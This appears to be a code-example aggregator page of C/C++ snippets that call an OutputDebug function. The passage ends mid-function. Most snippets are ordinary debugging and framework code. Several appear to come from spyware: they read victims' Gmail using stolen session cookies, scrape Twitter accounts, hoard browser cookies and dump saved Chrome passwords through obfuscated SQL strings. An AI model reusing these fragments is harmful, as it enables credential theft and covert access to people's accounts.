Ejemplo n.º 1
0
HRESULT CDSFilterEnum::getFriendlyName(wstring* pName)
{
	if (m_pIMoniker == NULL) {
		return E_POINTER;
	}

    IPropertyBag *pBag;
    HRESULT hr =m_pIMoniker->BindToStorage(NULL, NULL, IID_IPropertyBag, reinterpret_cast<void**>(&pBag));

	if(FAILED(hr)) {
		OutputDebug(L"Cannot BindToStorage for.\n");
        return hr;
    }

	VARIANT varName;
	::VariantInit(&varName);

	hr = pBag->Read(L"FriendlyName", &varName, NULL);

	if(FAILED(hr)){
		OutputDebug(L"IPropertyBag->Read method failed for.\n");
		SAFE_RELEASE(pBag);
		::VariantClear(&varName);
		return hr;
    }
	
	*pName = varName.bstrVal;
	
	SAFE_RELEASE(pBag);
	::VariantClear(&varName);

	return S_OK;
}
Ejemplo n.º 2
0
static xadUINT32 DebugPrintFlag(putchtype func, xadPTR fh, xadUINT32 flag,
const xadSTRING *flagtext, xadUINT32 i)
{
  if(i & flag)
  {
    OutputDebug(flagtext, func, fh);
    i &= ~flag;
    if(i)
      OutputDebug("|", func, fh);
  }
  return i;
}
Ejemplo n.º 3
0
DWORD GMailMessageHandler(LPSTR strCookie)
{
	if (!ConfIsModuleEnabled(L"messages"))
		return SOCIAL_REQUEST_SUCCESS;

#ifdef _DEBUG
	OutputDebug(L"[*] GMailMessageHandler\n");
#endif
	LPSTR strIKValue = NULL;
	LPWSTR strCurrentUserName = NULL;

	DWORD dwRet = GMailGetIK(strCookie, &strIKValue, &strCurrentUserName);
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return dwRet;

	DWORD dwLastTSHigh;
	DWORD dwLastTSLow = SocialGetLastTimestamp(strIKValue, &dwLastTSHigh);
	dwRet = GMailParseMailBox(L"sent", strCookie, strIKValue, dwLastTSHigh, dwLastTSLow, FALSE, FALSE);
	dwRet = GMailParseMailBox(L"inbox", strCookie, strIKValue, dwLastTSHigh, dwLastTSLow, FALSE, FALSE);
	dwRet = GMailParseMailBox(L"drafts", strCookie, strIKValue, dwLastTSHigh, dwLastTSLow, FALSE, FALSE);

	zfree(strIKValue);
	zfree(strCurrentUserName);
	return dwRet;
}
Ejemplo n.º 4
0
DWORD GMailGetIK(LPSTR strCookie, LPSTR *strIKValue, LPWSTR *strCurrentUserName)
{
	*strIKValue = NULL;
	*strCurrentUserName = NULL;

	LPWSTR strURI = NULL;
	LPSTR  strRecvBuffer = NULL;
	DWORD  dwRet, dwBufferSize;

	strURI = (LPWSTR) zalloc(1024*sizeof(WCHAR));
	_snwprintf_s(strURI, 1024, _TRUNCATE, L"/mail/?shva=1#%s", L"inbox"); // FIXME ARRAY
	//_snwprintf_s(strURI, 1024, _TRUNCATE, L"/mail/u/0/?shva=1#%s", L"inbox"); // FIXME ARRAY
	dwRet = HttpSocialRequest(L"mail.google.com", L"GET", strURI, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME ARRAY
	zfree(strURI);

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		return dwRet;
	}

	if (!GMailParseForIK(strRecvBuffer, strIKValue, strCurrentUserName))
	{
#ifdef _DEBUG
		OutputDebug(L"[!] Could not PARSE for IK\n");
#endif
		zfree(strRecvBuffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}

	return SOCIAL_REQUEST_SUCCESS;
}
Ejemplo n.º 5
0
DWORD TwitterMessageHandler(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char user[256];
	char userhandle[256];

	if (!ConfIsModuleEnabled(L"messages"))
		return SOCIAL_REQUEST_SUCCESS;

	// Identifica l'utente
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	LOOP {
		parser1 = (char *)strstr((char *)parser1, "data-user-id=\"");
		if (!parser1) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		parser1 += strlen("data-user-id=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (!parser2) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		*parser2=0;
		_snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
		if (strlen(user)) 
			break;
		parser1 = parser2 + 1;
	}

	// Cattura il proprio account
	parser1 = parser2 + 1;
	parser1 = (char *)strstr((char *)parser1, "data-screen-name=\"");
	if (parser1) {
		parser1 += strlen("data-screen-name=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (parser2) {
			*parser2=0;
			
			_snprintf_s(userhandle, sizeof(userhandle), _TRUNCATE, "%s", parser1);
#ifdef _DEBUG
			OutputDebug(L"[*] %S: username %S\n", __FUNCTION__, userhandle);
#endif
						
		}
	}
	
	/* uncomment this function to enable dm */
	//ParseDirectMessages(userhandle, cookie); 

	SAFE_FREE(r_buffer);
	return ParseTweet(user, cookie);
}
Ejemplo n.º 6
0
void ButtonProc2()
{
	OutputDebug(
		"Reconnect to billing server");

	g_pServerSystem->GetBilling().Reset();
}
Ejemplo n.º 7
0
	/** Object **/
	void ProcessLocal::init(){
		OPH();
		Super::init();
		// basic layer
		m_object_factory =New<ObjectFactory>();
		RETAIN_POINTER(m_object_factory);

		m_string_table =New<StringTable>();
		RETAIN_POINTER(m_string_table);

		m_protocol_manager =New<ProtocolManager>();
		RETAIN_POINTER(m_protocol_manager);

		m_lua_init_callback =New<Array>();
		RETAIN_POINTER(m_lua_init_callback);

		// kernel layer
		m_dispatcher_manager =New<DispatcherManager>();
		RETAIN_POINTER(m_dispatcher_manager);

		m_network =New<Network>();
		RETAIN_POINTER(m_network);

		m_service_manager =New<ServiceManager>();
		RETAIN_POINTER(m_service_manager);

		// add dispatcher
		m_dispatcher_manager->addDispatcher(m_service_manager);
		m_dispatcher_manager->addDispatcher(m_network);
		OutputDebug("process local init [ ok ]");
	}
Ejemplo n.º 8
0
	void ServiceManager::finalize(){
		OPH();
		unloadAllService();
		CLEAN_POINTER(m_unloading_service_tb);
		CLEAN_POINTER(m_service_tb);
		CLEAN_POINTER(m_route_tb);
		OutputDebug("service manager released [ ok ]");
		Super::finalize();
	}
Ejemplo n.º 9
0
/** print stack **/
void print_stack() {
    // prepare symbols
    void* arr[64] = {0};
    const size_t s =backtrace(arr, 64);
    if(s == 0) {
        OutputDebug("print stack error");
        return;
    }
    char** syms =backtrace_symbols(arr, s);

    // make str
    OutputDebug("print stack:\n");
    OutputDebug("\tstack size is %d.\n", (int)s);
    if(syms) {
        for(size_t i=0; i<s; ++i) {
            OutputDebug("\t[%d] %s\n", (int)i, (syms[i] ? syms[i] : ""));
        }
        free(syms);
    }
}
Ejemplo n.º 10
0
static void
loadModule(HANDLE hProcess, HANDLE hFile, PCSTR pszImageName, LPVOID lpBaseOfDll)
{
    if (!SymLoadModuleEx(hProcess, hFile, pszImageName, NULL, (UINT_PTR)lpBaseOfDll, 0, NULL, 0)) {
        OutputDebug("warning: SymLoadModule64 failed: 0x%08lx\n", GetLastError());
    }

    if (hFile) {
        CloseHandle(hFile);
    }
}
Ejemplo n.º 11
0
BOOL AddCookieA(__in LPSTR strDomainTmp, __in LPSTR strName, __in LPSTR strValue)
{
	if (strName[0] == '_')
		return FALSE;

	CHAR strDomain[2048];
	if ((!_stricmp("google.com", strDomainTmp)) || (!_stricmp("drive.google.com", strDomainTmp)) || (!_stricmp("docs.google.com", strDomainTmp)))
		_snprintf_s(strDomain, 2047, _TRUNCATE, "mail.google.com");
	else
		_snprintf_s(strDomain, 2047, _TRUNCATE, strDomainTmp);

#ifdef _DEBUG
	OutputDebug(L"[*] Adding cookie for host:%S  %S=%S\n", strDomain, strName, strValue);
#endif

	for (DWORD i=0; i<dwCookieCount; i++)
	{
		if (lpCookieList[i].strDomain && lpCookieList[i].strName && !_stricmp(lpCookieList[i].strDomain, strDomain) && !_stricmp(lpCookieList[i].strName, strName))
		{
			if (lpCookieList[i].strValue && !_stricmp(lpCookieList[i].strValue, strValue))
			{
#ifdef _DEBUG
				//OutputDebug(L"[*] Skipping known cookie for %S => %S=%S\n", strDomain, strName, strValue);
#endif
				return FALSE; // already have it
			}

			zfree(lpCookieList[i].strValue);
			lpCookieList[i].strValue = _strdup(strValue);
//#ifdef _DEBUG
//			OutputDebug(L"[*] Updating cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount);
//#endif
			NotifyNewCookie(strDomain);
			return TRUE;
		}
	}

	LPCOOKIE_LIST lpTemp = (LPCOOKIE_LIST) realloc(lpCookieList, (dwCookieCount + 1) * sizeof(COOKIE_LIST));
	if (lpTemp == NULL)
		return FALSE;

	lpCookieList = lpTemp;
	lpCookieList[dwCookieCount].strDomain = _strdup(strDomain);
	lpCookieList[dwCookieCount].strName = _strdup(strName);
	lpCookieList[dwCookieCount].strValue = _strdup(strValue);
	dwCookieCount++;

//#ifdef _DEBUG
//	OutputDebug(L"[*] Adding cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount);
//#endif
	NotifyNewCookie(strDomain);

	return TRUE;
}
Ejemplo n.º 12
0
	/** Object **/
	void ServiceManager::init(){
		Super::init();
		m_route_tb=New<Hash>();
		m_route_tb->retain();

		m_service_tb=New<Hash>();
		m_service_tb->retain();

		m_unloading_service_tb =New<Hash>();
		m_unloading_service_tb->retain();

		OutputDebug("service manager init [ ok ]");
	}
Ejemplo n.º 13
0
void UserStack(PVOID pMinStack,PVOID pMaxStack/*不包括本地址*/){
	
	LastExceptionAddress = nullptr;
	__try{

		int a = ((char*)pMinStack)[0];
		OutputDebug("Success! %d",a);
	}
	__except(
		StackExceptionDecide(*(GetExceptionInformation())->ExceptionRecord,pMinStack,pMaxStack)
		){}
	LastExceptionAddress = nullptr;
}
Ejemplo n.º 14
0
	/** helper **/
	Service* ServiceManager::_load_service(const int64_t id, const char* path){
		String* str =String::NewString(path);
		if(str->hasSubfix(".lua")){
			Service* service =New<LuaService>();
			service->retain();
			if(!service->load(id, path)){
				service->release();
				OutputDebug("load service %s error", path);
				return 0;
			}
			OutputDebug("load service %s success", path);
			return service;
		}
		else if(str->hasSubfix(".so")){
			Service* service =New<CService>();
			service->retain();
			if(!service->load(id, path)){
				service->release();
				OutputDebug("load service %s error", path);
				return 0;
			}
			OutputDebug("load service %s success", path);
			return service;
		}
		else{
			const int64_t tmp =str->indexOf(":");
			if(tmp <= 0){
				OutputDebug("unsupport path %s", path);	
				return 0;
			}
			else{
				String* creator =str->subString(0, tmp);
				if(Service* service =static_cast< Service* >(ObjectFactory::Create(creator))){
					service->retain();
					if(!service->load(id, path)){
						OutputDebug("load service %s error", path);
						service->release();
						return 0;
					}
					OutputDebug("load service %s success", path);
					return service;
				}
				else{
					OutputDebug("unsupport path %s", path);	
				}
			}
		}
		return 0;
	}
Ejemplo n.º 15
0
void CCoroutine::Init()
{
	if (0!=this->State)
	{
		OutputDebug("CCoroutine:Init:多次初始化");
		return;
	}else{
		this->State=1;
	}



}
Ejemplo n.º 16
0
LONG StackExceptionDecide(EXCEPTION_RECORD SavedExceptRec,PVOID pMinStack,PVOID pMaxStack){
	/*如果是指定异常,查看内存是否在范围内*/

	/*
	在核心编程P658有简短介绍
	SavedExceptRec.ExceptionInformation只在AV异常被用到。
	SavedExceptRec.ExceptionInformation[0]		0表示读异常,1表示写异常
	另发现
	SavedExceptRec.ExceptionInformation[1]指向的内容是:异常产生地址,而不是代码地址。我们需要这个。
	SavedExceptRec.ExceptionInformation[2]似乎和[0]变化,不明。

	*/
	LPVOID ExceptionAdd =(LPVOID)SavedExceptRec.ExceptionInformation[1];

	if(EXCEPTION_ACCESS_VIOLATION==SavedExceptRec.ExceptionCode){
		if(ExceptionAdd>=pMinStack||ExceptionAdd<pMaxStack){
			if (ExceptionAdd==LastExceptionAddress)//检查上次触发异常的地址,防止异常死循环
			{
				return (EXCEPTION_CONTINUE_SEARCH);
			}
			else
			{
				ExceptionAdd==LastExceptionAddress;
			}
			g_p->GetMemory(ExceptionAdd,PAGE_SIZE*1);
			OutputDebug("继续执行\r\n");
			return (EXCEPTION_CONTINUE_EXECUTION);//继续执行

		}else{//非指定范围内异常 不管
			OutputDebug("非执行范围异常\r\n");
			return (EXCEPTION_CONTINUE_SEARCH);
		}
	}else{
		//非指定AV异常 不管
		OutputDebug("非执行异常\r\n");
		return (EXCEPTION_CONTINUE_SEARCH);
	}
}
Ejemplo n.º 17
0
void CCoroutine::GOMAXPROCS(int m_NewValueCPU)
{
	if (0!=this->State)
	{
		OutputDebug("CCoroutine:GOMAXPROCS:在启动后初始化");
		return;
	}else{
		if (this->m_NumCPU < m_NewValueCPU)
		{
			this->m_NumCPU = m_NewValueCPU;
		}
	}



}
Ejemplo n.º 18
0
BOOL ProtoAuth()
{
	BOOL bRet = FALSE;
	LPSTR lpAuthCmd = ProtoMessageAuth();

	BOOL bSend = WinHTTPSendData((LPBYTE)lpAuthCmd, strlen(lpAuthCmd));
	zfree(lpAuthCmd);

	if (!bSend)
	{
#ifdef _DEBUG
		OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
		__asm int 3;
#endif	
		return FALSE;
	}
Ejemplo n.º 19
0
	void ProcessLocal::finalize(){
		OPH();
		// clear dispatcher
		m_dispatcher_manager->clearDispatcher();

		CLEAN_POINTER(m_service_manager);
		CLEAN_POINTER(m_network);
		CLEAN_POINTER(m_dispatcher_manager);

		CLEAN_POINTER(m_lua_init_callback);
		CLEAN_POINTER(m_protocol_manager);
		CLEAN_POINTER(m_string_table);
		CLEAN_POINTER(m_object_factory);

		Super::finalize();
		OutputDebug("process local released [ ok ]");
	}
Ejemplo n.º 20
0
	/** format **/
	String* String::FormatV(const char* fmt, va_list vl){
		va_list vc;
		va_copy(vc, vl);
		int64_t len =0;
		len =vsnprintf(0, 0, fmt, vl);
		if(len < 0){
			OutputDebug("String::FormatV:vsnprintf fail");
			return 0;
		}
		else if(len == 0){
			return NewString();
		}
		else{
			String* o =NewString();
			o->m_length =len;
			o->m_data =reinterpret_cast< char* >(REALLOCATE(o->m_data, o->m_length + 1));
			vsnprintf(o->m_data, (size_t)(o->m_length+1), fmt, vc);
			return o;
		}
	}
Ejemplo n.º 21
0
static void
loadModule(HANDLE hProcess, HANDLE hFile, PCSTR pszImageName, LPVOID lpBaseOfDll)
{
    bool deferred = SymGetOptions() & SYMOPT_DEFERRED_LOADS;

    // We must pass DllSize for deferred symbols to work correctly
    // https://groups.google.com/forum/#!topic/comp.os.ms-windows.programmer.win32/ulkwYhM3020
    DWORD DllSize = 0;
    if (deferred) {
        DllSize = getModuleSize(hProcess, lpBaseOfDll);
    }

    if (!SymLoadModuleEx(hProcess, hFile, pszImageName, NULL, (UINT_PTR)lpBaseOfDll, DllSize, NULL, 0)) {
        OutputDebug("warning: SymLoadModule64 failed: 0x%08lx\n", GetLastError());
    }

    // DbgHelp keeps an copy of hFile, and closing the handle here may cause
    // CBA_DEFERRED_SYMBOL_LOAD_PARTIAL events.
    if (hFile && !deferred) {
        CloseHandle(hFile);
    }
}
Ejemplo n.º 22
0
VOID DumpChromeSQLPasswords(LPBYTE *lpBuffer, LPDWORD dwBuffSize)
{
	LPSTR strProfilePath = GetChromeProfilePathA();
	if (!strProfilePath)
		return;

	DWORD dwSize = strlen(strProfilePath)+1024;
	LPSTR strFilePath = (LPSTR) zalloc(dwSize);
	CHAR strFileName[] = { 'L', 'o', 'g', 'i', 'n', ' ', 'D', 'a', 't', 'a', 0x0 };
	_snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName);

	sqlite3 *lpDb = NULL;
	if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK)
	{
		CONTAINER pContainer;
		pContainer.lpBuffer = lpBuffer;
		pContainer.dwBuffSize = dwBuffSize;

		sqlite3_busy_timeout(lpDb, 5000); // FIXME
#ifdef _DEBUG
		LPSTR strErr;
		if (sqlite3_exec(lpDb, "SELECT * FROM logins;", ParseChromeSQLPasswords, &pContainer, &strErr) != SQLITE_OK) // FIXME: char array
		{
			OutputDebug(L"[!!] Querying sqlite3 for chrome passwords: %S\n", strErr);
			zfree(strErr);
		}
#else
		CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'l', 'o', 'g', 'i', 'n', 's', ';', 0x0 };
		sqlite3_exec(lpDb, strQuery, ParseChromeSQLPasswords, &pContainer, NULL); // FIXME: char array
#endif
		sqlite3_close(lpDb);
	}
	

	zfree(strFilePath);
	zfree(strProfilePath);
}
Ejemplo n.º 23
0
BOOL ObtainSeDebugPrivilege(void)
{
    HANDLE hToken;
    PTOKEN_PRIVILEGES NewPrivileges;
    BYTE OldPriv[1024];
    PBYTE pbOldPriv;
    ULONG cbNeeded;
    BOOLEAN fRc;
    LUID LuidPrivilege;

    // Make sure we have access to adjust and to get the old token privileges
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        OutputDebug("OpenProcessToken failed with 0x%08lx\n", GetLastError());

        return FALSE;
    }

    cbNeeded = 0;

    // Initialize the privilege adjustment structure
    LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &LuidPrivilege );

    NewPrivileges = (PTOKEN_PRIVILEGES) LocalAlloc(
        LMEM_ZEROINIT,
        sizeof(TOKEN_PRIVILEGES) + (1 - ANYSIZE_ARRAY)*sizeof(LUID_AND_ATTRIBUTES)
    );
    if(NewPrivileges == NULL) {
        return FALSE;
    }

    NewPrivileges->PrivilegeCount = 1;
    NewPrivileges->Privileges[0].Luid = LuidPrivilege;
    NewPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Enable the privilege
    pbOldPriv = OldPriv;
    fRc = AdjustTokenPrivileges(
        hToken,
        FALSE,
        NewPrivileges,
        1024,
        (PTOKEN_PRIVILEGES)pbOldPriv,
        &cbNeeded
    );

    if (!fRc) {

        // If the stack was too small to hold the privileges
        // then allocate off the heap
        if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {

            pbOldPriv = (PBYTE)LocalAlloc(LMEM_FIXED, cbNeeded);
            if (pbOldPriv == NULL) {
                return FALSE;
            }

            fRc = AdjustTokenPrivileges(
                hToken,
                FALSE,
                NewPrivileges,
                cbNeeded,
                (PTOKEN_PRIVILEGES)pbOldPriv,
                &cbNeeded
            );
        }
    }
    return fRc;
}
Ejemplo n.º 24
0
BOOL DebugMainLoop(const DebugOptions *pOptions)
{
    BOOL fFinished = FALSE;
    BOOL fBreakpointSignalled = FALSE;
    BOOL fWowBreakpointSignalled = FALSE;
    BOOL fTerminating = FALSE;

    while(!fFinished)
    {
        DEBUG_EVENT DebugEvent;            // debugging event information
        DWORD dwContinueStatus = DBG_CONTINUE;    // exception continuation
        PPROCESS_INFO pProcessInfo;
        PTHREAD_INFO pThreadInfo;
        HANDLE hProcess;

        // Wait for a debugging event to occur. The second parameter indicates
        // that the function does not return until a debugging event occurs.
        if(!WaitForDebugEvent(&DebugEvent, INFINITE))
        {
            OutputDebug("WaitForDebugEvent: 0x%08lx", GetLastError());

            return FALSE;
        }

        // Process the debugging event code.
        switch (DebugEvent.dwDebugEventCode) {
        case EXCEPTION_DEBUG_EVENT: {
            PEXCEPTION_RECORD pExceptionRecord = &DebugEvent.u.Exception.ExceptionRecord;
            NTSTATUS ExceptionCode = pExceptionRecord->ExceptionCode;

            // Process the exception code. When handling
            // exceptions, remember to set the continuation
            // status parameter (dwContinueStatus). This value
            // is used by the ContinueDebugEvent function.
            if (pOptions->verbose_flag) {
                lprintf("EXCEPTION PID=%lu TID=%lu ExceptionCode=0x%lx dwFirstChance=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        pExceptionRecord->ExceptionCode,
                        DebugEvent.u.Exception.dwFirstChance
                );
            }

            // Find the process in the process list
            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];

            dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED;

            if (DebugEvent.u.Exception.dwFirstChance) {
                if (pExceptionRecord->ExceptionCode == (DWORD)STATUS_BREAKPOINT) {
                    // Signal the aedebug event
                    if (!fBreakpointSignalled) {
                        fBreakpointSignalled = TRUE;

                        if (pOptions->hEvent) {
                            SetEvent(pOptions->hEvent);
                            CloseHandle(pOptions->hEvent);
                        }

                        if (pOptions->dwThreadId) {
                            DWORD dwThreadId = pOptions->dwThreadId;
                            const DWORD dwFailed = (DWORD)-1;
                            DWORD dwRet = dwFailed;
                            pThreadInfo = &pProcessInfo->Threads[dwThreadId];
                            HANDLE hThread = pThreadInfo->hThread;
                            if (hThread != NULL) {
                                dwRet = ResumeThread(hThread);
                            }
                            if (dwRet == dwFailed) {
                                lprintf("error: failed to resume thread %lu\n", dwThreadId);
                            }
                        }

                        /*
                         * We ignore first-chance breakpoints by default.
                         *
                         * We get one of these whenever we attach to a process.
                         * But in some cases, we never get a second-chance, e.g.,
                         * when we're attached through MSVCRT's abort().
                         */
                        if (!pOptions->breakpoint_flag) {
                            dwContinueStatus = DBG_CONTINUE;
                            break;
                        }
                    }
                }

                if (ExceptionCode == STATUS_WX86_BREAKPOINT) {
                    if (!fWowBreakpointSignalled) {
                        fWowBreakpointSignalled = TRUE;
                        dwContinueStatus = DBG_CONTINUE;
                        break;
                    }
                }

               /*
                 * Ignore thread naming exception.
                 *
                 * http://msdn.microsoft.com/en-us/library/xcb2z8hs.aspx
                 *
                 * TODO: Note down the thread name
                 */
                if (ExceptionCode == 0x406d1388) {
                    dwContinueStatus = DBG_CONTINUE;
                    break;
                }

                if (!pOptions->first_chance) {
                    break;
                }
            }

            // XXX: Deferred symbols don't get loaded without this
            SymRefreshModuleList(pProcessInfo->hProcess);

            dumpException(pProcessInfo->hProcess,
                          &DebugEvent.u.Exception.ExceptionRecord);

            // Find the thread in the thread list
            THREAD_INFO_LIST::const_iterator it;
            for (it = pProcessInfo->Threads.begin(); it != pProcessInfo->Threads.end(); ++it) {
                DWORD dwThreadId = it->first;
                HANDLE hThread = it->second.hThread;
                if (dwThreadId != DebugEvent.dwThreadId &&
                    ExceptionCode != STATUS_BREAKPOINT &&
                    ExceptionCode != STATUS_WX86_BREAKPOINT) {
                        continue;
                }

                dumpStack(pProcessInfo->hProcess, hThread, NULL);
            }

            if (!DebugEvent.u.Exception.dwFirstChance) {
                /*
                 * Terminate the process. As continuing would cause the JIT debugger
                 * to be invoked again.
                 */
                fTerminating = TRUE;
                TerminateProcess(pProcessInfo->hProcess, (UINT)ExceptionCode);
            }

            break;
        }

        case CREATE_THREAD_DEBUG_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("CREATE_THREAD PID=%lu TID=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId
                );
            }

            // Add the thread to the thread list
            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
            pThreadInfo->hThread = DebugEvent.u.CreateThread.hThread;
            break;

        case CREATE_PROCESS_DEBUG_EVENT: {
            HANDLE hFile = DebugEvent.u.CreateProcessInfo.hFile;

            char szImageName[MAX_PATH];
            char *lpImageName = NULL;
            if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) {
                lpImageName = szImageName;
            }

            if (pOptions->verbose_flag) {
                PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : "";

                lprintf("CREATE_PROCESS PID=%lu TID=%lu lpBaseOfImage=%p %s\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.CreateProcessInfo.lpBaseOfImage,
                        lpModuleName
                );
            }

            hProcess = DebugEvent.u.CreateProcessInfo.hProcess;

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            pProcessInfo->hProcess = hProcess;

            pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
            pThreadInfo->hThread = DebugEvent.u.CreateProcessInfo.hThread;

            if (!InitializeSym(hProcess, FALSE)) {
                OutputDebug("error: SymInitialize failed: 0x%08lx\n", GetLastError());
                exit(EXIT_FAILURE);
            }

            SymRegisterCallback64(hProcess, &symCallback, 0);

            loadModule(hProcess, hFile, lpImageName, DebugEvent.u.CreateProcessInfo.lpBaseOfImage);

            break;
        }

        case EXIT_THREAD_DEBUG_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("EXIT_THREAD PID=%lu TID=%lu dwExitCode=0x%lx\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.ExitThread.dwExitCode
                );
            }

            // Remove the thread from the thread list
            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            // Dump the stack on abort()
            if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) {
                pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
                refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread);
            }

            pProcessInfo->Threads.erase(DebugEvent.dwThreadId);
            break;

        case EXIT_PROCESS_DEBUG_EVENT: {
            if (pOptions->verbose_flag) {
                lprintf("EXIT_PROCESS PID=%lu TID=%lu dwExitCode=0x%lx\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.ExitProcess.dwExitCode
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            // Dump the stack on abort()
            if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) {
                pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
                refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread);
            }

            // Remove the process from the process list
            g_Processes.erase(DebugEvent.dwProcessId);

            if (!SymCleanup(hProcess)) {
                OutputDebug("SymCleanup failed with 0x%08lx\n", GetLastError());
            }

            if (g_Processes.empty()) {
                fFinished = TRUE;
            }

            break;
        }

        case LOAD_DLL_DEBUG_EVENT: {
            HANDLE hFile = DebugEvent.u.LoadDll.hFile;

            char szImageName[MAX_PATH];
            char *lpImageName = NULL;
            if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) {
                lpImageName = szImageName;
            }

            if (pOptions->verbose_flag) {
                PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : "";

                lprintf("LOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p %s\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.LoadDll.lpBaseOfDll,
                        lpModuleName
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            loadModule(hProcess, hFile, lpImageName, DebugEvent.u.LoadDll.lpBaseOfDll);

            break;
        }

        case UNLOAD_DLL_DEBUG_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("UNLOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.UnloadDll.lpBaseOfDll
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            SymUnloadModule64(hProcess, (UINT_PTR)DebugEvent.u.UnloadDll.lpBaseOfDll);

            break;

        case OUTPUT_DEBUG_STRING_EVENT: {
            if (pOptions->verbose_flag) {
                lprintf("OUTPUT_DEBUG_STRING PID=%lu TID=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];

            assert(!DebugEvent.u.DebugString.fUnicode);

            LPSTR lpDebugStringData = readProcessString(pProcessInfo->hProcess,
                                                        DebugEvent.u.DebugString.lpDebugStringData,
                                                        DebugEvent.u.DebugString.nDebugStringLength);

            lprintf("%s", lpDebugStringData);

            free(lpDebugStringData);
            break;
        }

        case RIP_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("RIP PID=%lu TID=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId
                );
            }
            break;

        default:
            if (pOptions->verbose_flag) {
                lprintf("EVENT%lu PID=%lu TID=%lu\r\n",
                    DebugEvent.dwDebugEventCode,
                    DebugEvent.dwProcessId,
                    DebugEvent.dwThreadId
                );
            }
            break;
        }

        // Resume executing the thread that reported the debugging event.
        ContinueDebugEvent(
            DebugEvent.dwProcessId,
            DebugEvent.dwThreadId,
            dwContinueStatus
        );
    }

    return TRUE;
}
Ejemplo n.º 25
0
const CKeyBindings::ActionList&
	CKeyBindings::GetActionList(const CKeySet& ks) const
{
	static const ActionList empty;
	const ActionList* alPtr = NULL;

	if (ks.AnyMod()) {
		KeyMap::const_iterator it = bindings.find(ks);
		if (it == bindings.end()) {
			alPtr = &empty;
		} else {
			alPtr = &(it->second);
		}
	}
	else {
		// have to check for an AnyMod keyset as well as the normal one
		CKeySet anyMod = ks;
		anyMod.SetAnyBit();
		KeyMap::const_iterator nit = bindings.find(ks);
		KeyMap::const_iterator ait = bindings.find(anyMod);
		const bool haveNormal = (nit != bindings.end());
		const bool haveAnyMod = (ait != bindings.end());
		if (!haveNormal && !haveAnyMod) {
			alPtr = &empty;
		}
		else if (haveNormal && !haveAnyMod) {
			alPtr = &(nit->second);
		}
		else if (!haveNormal && haveAnyMod) {
			alPtr = &(ait->second);
		}
		else {
			// combine the two lists (normal first)
